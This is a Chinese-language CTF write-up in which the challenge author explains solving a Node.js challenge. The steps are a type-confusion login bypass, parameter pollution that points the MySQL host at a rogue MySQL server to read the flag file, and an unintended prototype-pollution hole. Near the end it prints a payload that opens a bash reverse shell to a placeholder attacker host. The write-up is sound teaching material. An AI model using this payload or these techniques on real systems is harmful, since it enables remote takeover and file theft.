一道有趣的关于nodejs的ctf题

2019-12-27 约 58 字 预计阅读 1 分钟

声明:本文 【一道有趣的关于nodejs的ctf题】 由作者 niexinming 于 2019-12-27 10:26:24 首发 先知社区 曾经 浏览数 69 次

感谢 niexinming 的辛苦付出!

首先,出题背景是公司要求我出一道简单的ctf题目,正好我最近在学习nodejs相关的东西,于是我就出了这道题目,题目源码,我已经打包上传到了GitHub上,如果有兴趣,可以下载下来,研究一下

这个题目开局是一个登陆页面

在这里你会想到什么呢?爆破?nononono~
你要想到的是这是一道nodejs的题目啊,js本身就是一种弱类型语言,所以,你可以改变数据类型,来看看它会不会产生非预期的效果,你可以参考我以前翻译的过的文章
https://blog.csdn.net/niexinming/article/details/84889275

这篇文章中就介绍如何通过改变数据类型来绕过登录,所以,这个题目通过如下的方式就可以绕过登录:
首先抓包:

然后,修改用户名密码为数组,因为用户名和密码都是数组的第一个,所以只要把用户名和密码改成
{"user":[0],"passwd":[0]},就可以绕过登录

绕过登录之后,发现有一个地址,打开这个地址:http://106.75.10.182:3000/kfhkhkdsdshalkhkhaklhlahlkkhdfklhhjkhgdajgfhjaghghjasgfjh//jflkdsajklfjsakljfjkhkjhdsfgasdyuuyueuwguguiuidgffddjfj.js
发现是nodejs后端的源码:

可以看到这个题目可以通过控制host参数去改变mysql的连接地址,这里有个mysql客户端任意文件读取的问题,可以参考这个文章:https://blog.csdn.net/ls1120704214/article/details/88174003

但是如果直接在json中传递{“host”:””},根本不会有任何效果,因为我在57行写了过滤

if (body.host != undefined) {

如果发现有直接传递进来的host参数,nodejs就报错退出,所以,通过仔细观察源代码,发现这个代码有参数污染问题,关于参数污染,可以参考这篇文章:
https://www.4hou.com/technology/16328.html
所以就可以通过构造如下参数去改变host参数,把host参数变成我们自己mysql服务器的地址
首先,我要先把我服务器中的Rogue-mysql-Server 的rogue_mysql_server.py 中的filelist改成flag的地址

然后启动我的这个恶意的mysql服务器:

之后,我把host地址通过参数污染的方式改到我的这台服务器:

发送数据包后,我的服务器中收到了一个请求:

然后,去查看日志,就会看到flag

一个小插曲,因为我刚刚接触nodejs,所以,没有意识到里面其实有很多安全问题,我在出题的过程中错误的使用了nodejs的模板,导致Virink师傅用一个payload就把我的服务器给打下来了(拿下了服务器的控制权),通过跟virink 的交流我也学到了很多东西,最后我兑现了我的承诺,给师傅发了一个大红包

下面是virink的payload,发出来给大家学习

{"user":"test","passwd":"test","__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx.xxx.xxx.xx/6666 0>&1\"');var __tmp2"}}

后来我把这个漏洞修复了,等了两周,再也没有人做出来

关键词:[‘安全技术’, ‘CTF’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now